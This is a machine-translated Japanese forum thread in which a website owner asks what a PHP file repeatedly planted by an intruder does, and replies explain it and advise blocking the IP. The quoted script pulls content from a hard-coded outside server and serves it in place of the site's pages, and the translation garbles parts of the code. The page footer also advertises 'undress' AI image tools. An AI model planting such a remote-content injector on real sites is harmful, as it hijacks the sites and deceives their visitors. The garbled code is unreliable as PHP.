検索
ホームページバックエンド開発PHPチュートリアルPHPコード、それが何を意味するのか理解するのを手伝ってください

私の Web サイトはハッキングされたようです。毎日、私の Web サイトのルート ディレクトリにアクセスし、次のようなコードを配置する SB がいます。
set_time_limit(0);
header(" Content-Type: text/html;charset=gb2312");
$Remote_server = "http://122.114.126.160/"; http://".$_SERVER['SERVER_NAME' ].$_SERVER['PHP_SELF'];
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$Content_mb=getHTTPPage($Remote_server."/index .html?host=".$host_name);
echo $Content_mb;
exit();
function getHTTPPage($url) {
$opts = array(
'http'= >array(
'メソッド'=> ;"GET",
'ヘッダー'=>"ユーザーエージェント: aQ0O010O"
)
); $context = stream_context_create( $opts);
$html = @file_get_contents ($url, false, $context);
if (empty($html)) {
exit("

接続エラー!

");
}
return $html;
}
?>

どういう意図ですか? 専門家に解析してもらいましょう

ディスカッションへの返信 (解決策)
彼はこのコードをルート ディレクトリに置きました。Web サイトにアクセスできませんか?

彼はあなたの Web サイトの元のアドレスを自分で書いたメソッドに渡し、それをホストパラメータで受け入れて、あなたのホームページの情報を取得したようです

については何も異常はありません私のウェブサイト (まだ見つかりません) 例外)

彼はあなたのウェブサイトの元のアドレスを自分で書いたメソッドに渡し、それをホストパラメータで受け入れて取得したようですあなたのホームページの情報

私 ウェブサイトには何も問題はありません (まだ異常は見つかりません)


上記の私の説明には問題があります。次の図に示すように、新しいディレクトリではなく、ルート ディレクトリの前のディレクトリに配置されます。
ディレクトリ public_html は、Web サイトのルート ディレクトリです。このファイルは、public_html と同じディレクトリに配置されます。これが私のウェブサイトにどのような影響を与えるかわかりません。このSBは隔日でここに来て、何度か削除されています。

Linux システムでは、現在の権限が 755 に設定されています。644 に設定されている場合、Web サイトを開くことができません。ファイルへのアクセスを防ぐ方法はありますか?

$Remote_server."/index.html?host=".$host_name ここで彼はあなたの Web サイトのアドレスを渡しましたが、その IP のサーバーではコードが表示されないので、どうすればよいかわかりません。 。 。 。 。 。彼が何をしようとしているのか見当もつかない。 。 。 。 。

サーバーの点がわかりません。専門家が助けてくれるのを待ちます

ありがとうございます

何か異常はありませんか?
set_time_limit(0); //タイムアウトしないheader("Content-Type: text/html;charset=gb2312"); //ブラウザの文字セットを指定します

$Remote_server = "http://122.114 .126.160/"; //リモート Web サイト
$host_name = "http://".$_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF']; //現在のページの URL を構築します
$userAgent = $_SERVER['HTTP_USER_AGENT'] // 視聴者のブラウザ情報を取得します
$Content_mb=getHTTPPage($Remote_server."/index.html?host=".$host_name); // リモート Web サイトを呼び出します
echo $Content_mb; //リモート Web サイトから返されたコンテンツを出力します
exit() //実行中のプログラムを終了します
function getHTTPPage($url) { //リモート Web サイト関数を呼び出します
$ opts = array(
'http'=>array(
'method'=>"GET",
'header'=>"ユーザーエージェント: aQ0O010O"
)
);
$context = stream_context_create($opts);
$html = @file_get_contents($url, false, $context); // リモート Web サイトにアクセスする場合、URL も渡されます。 (empty($ html)) {
exit("

接続エラー!> ; p>");
}
return $html;
}

相手は何をしたのか?まだ不明です
ローカル開発環境の場合、広告が返され通常のページが消えます
稼働中のWebサイトの場合、異常がなければ潜在的な脅威が大きいことを意味します( CSRF攻撃)
ちょっとした宣伝です、関係ありません

何はともあれ、まず相手の IP を禁止し、サーバーを設定して、IP 122.114.126.160 があなたの Web サイトにアクセスすることを禁止します。

ページのコンテンツを置き換えました。
まずプログラムに抜け穴があるかどうかを確認し、抜け穴が塞がれていない場合は、依然として多くの問題が発生する可能性があります。

例外はありませんか?
set_time_limit(0); //タイムアウトしない
header("Content-Type: text/html;charset=gb2312"); //ブラウザの文字セットを指定します
$Remote_server = "http://122.114 .126.160/"; //リモート Web サイト
$host_name = "http://".$_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF']; //現在のページの URL を構築します
$userAgent = $_SERVER['HTTP_USER_AGENT'] // 視聴者のブラウザ情報を取得します
$Content_mb=getHTTPPage($Remote_server."/index.html?host=".$host_name); // リモート Web サイトを呼び出します
echo $Content_mb; //リモート Web サイトから返されたコンテンツを出力します
exit() //実行中のプログラムを終了します
function getHTTPPage($url) { //リモート Web サイト関数を呼び出します
$ opts = array(
'http'=>array(
'method'=>"GET",
'header'=>"ユーザーエージェント: aQ0O010O"
)
);
$context = stream_context_create($opts);
$html = @file_get_contents($url, false, $context); // リモート Web サイトにアクセスする場合、URL も渡されます。 (empty($ html)) {
exit("

接続エラー!> ; p>");
}
return $html;
}

相手は何をしたのか?まだ不明です
ローカル開発環境の場合、広告が返され通常のページが消えます
稼働中のWebサイトの場合、異常がなければ潜在的な脅威が大きいことを意味します( CSRF攻撃)
ちょっとした宣伝です、どうでもいいです



---------------------- - --
ありがとう

何はともあれ、まず相手の IP を禁止し、サーバーを設定してください。122.114.126.160 の IP があなたの Web サイトにアクセスすることを禁止します。

----------
ページを共有していただきありがとうございます

コンテンツ交換されました。

まずプログラムに抜け穴があるかどうかを確認し、抜け穴が塞がれていない場合は、依然として多くの問題が発生する可能性があります。


---------------------
ありがとう
彼は手放したかったんだろう SEOに行くpublic_html フォルダ内に .php を作成し、ファイルがあれば

内のファイルを置き換えます。 結果、タイプミスがあり、

public_html フォルダに seo.php を入れたかったのでしょう

結果的にタイプミスで外に残ったフォルダになってしまいました


ありがとうございます、可能です
声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
PHP依存性噴射コンテナ:クイックスタートPHP依存性噴射コンテナ:クイックスタートMay 13, 2025 am 12:11 AM

aphpDependencyInjectionContaineriSATOULTAINATINAGECLASSDEPTINCIES、強化測定性、テスト可能性、および維持可能性。

PHPの依存噴射対サービスロケーターPHPの依存噴射対サービスロケーターMay 13, 2025 am 12:10 AM

SELECT DEPENTENCINGINOFCENT(DI)大規模なアプリケーションの場合、ServicElocatorは小さなプロジェクトまたはプロトタイプに適しています。 1)DIは、コンストラクターインジェクションを通じてコードのテスト可能性とモジュール性を改善します。 2)ServiceLocatorは、センター登録を通じてサービスを取得します。これは便利ですが、コードカップリングの増加につながる可能性があります。

PHPパフォーマンス最適化戦略。PHPパフォーマンス最適化戦略。May 13, 2025 am 12:06 AM

phpapplicationscanbeoptimizedforspeedandEfficiencyby:1)enabingopcacheinphp.ini、2)PreparedStatementswithpordatabasequeriesを使用して、3)LoopswithArray_filterandarray_mapfordataprocessing、4)の構成ngincasaSearverseproxy、5)

PHPメールの検証:電子メールが正しく送信されるようにしますPHPメールの検証:電子メールが正しく送信されるようにしますMay 13, 2025 am 12:06 AM

PHPemailvalidationinvolvesthreesteps:1)Formatvalidationusingregularexpressionstochecktheemailformat;2)DNSvalidationtoensurethedomainhasavalidMXrecord;3)SMTPvalidation,themostthoroughmethod,whichchecksifthemailboxexistsbyconnectingtotheSMTPserver.Impl

PHPアプリケーションをより速くする方法PHPアプリケーションをより速くする方法May 12, 2025 am 12:12 AM

tomakephpapplicationsfaster、followthesesteps:1)useopcodecachinglikeopcacheTostoredscriptbytecode.2)最小化abasequeriesecachingingindexing.3)leveragephp7機能forbettercodeefficiency.4)

PHP依存性インジェクション:コードのテスト可能性を改善しますPHP依存性インジェクション:コードのテスト可能性を改善しますMay 12, 2025 am 12:03 AM

依存性注入(DI)は、明示的に推移的な依存関係によりPHPコードのテスト可能性を大幅に改善します。 1)DI分離クラスと特定の実装により、テストとメンテナンスが柔軟になります。 2)3つのタイプのうち、コンストラクターは、状態を一貫性に保つために明示的な式依存性を注入します。 3)DIコンテナを使用して複雑な依存関係を管理し、コードの品質と開発効率を向上させます。

PHPパフォーマンスの最適化:データベースクエリの最適化PHPパフォーマンスの最適化:データベースクエリの最適化May 12, 2025 am 12:02 AM

DatabaseQueryoptimizationInpholvesseveralstrategESTOEnhancePerformance.1)selectonlynlynlyndorycolumnStoredatedataTransfer.2)useindexingtospeedupdataretrieval.3)revenmecrycachingtostoreres sultsoffrequent queries.4)

See all articles

ホットAIツール

Undresser.AI Undress

Undresser.AI Undress

リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover

AI Clothes Remover

写真から衣服を削除するオンライン AI ツール。

Undress AI Tool

Undress AI Tool

脱衣画像を無料で

Clothoff.io

Clothoff.io

AI衣類リムーバー

Video Face Swap

Video Face Swap

完全無料の AI 顔交換ツールを使用して、あらゆるビデオの顔を簡単に交換できます。

ホットツール

VSCode Windows 64 ビットのダウンロード

VSCode Windows 64 ビットのダウンロード

Microsoft によって発売された無料で強力な IDE エディター

WebStorm Mac版

WebStorm Mac版

便利なJavaScript開発ツール

mPDF

mPDF

mPDF は、UTF-8 でエンコードされた HTML から PDF ファイルを生成できる PHP ライブラリです。オリジナルの作者である Ian Back は、Web サイトから「オンザフライ」で PDF ファイルを出力し、さまざまな言語を処理するために mPDF を作成しました。 HTML2FPDF などのオリジナルのスクリプトよりも遅く、Unicode フォントを使用すると生成されるファイルが大きくなりますが、CSS スタイルなどをサポートし、多くの機能強化が施されています。 RTL (アラビア語とヘブライ語) や CJK (中国語、日本語、韓国語) を含むほぼすべての言語をサポートします。ネストされたブロックレベル要素 (P、DIV など) をサポートします。

SAP NetWeaver Server Adapter for Eclipse

SAP NetWeaver Server Adapter for Eclipse

Eclipse を SAP NetWeaver アプリケーション サーバーと統合します。

メモ帳++7.3.1

メモ帳++7.3.1

使いやすく無料のコードエディター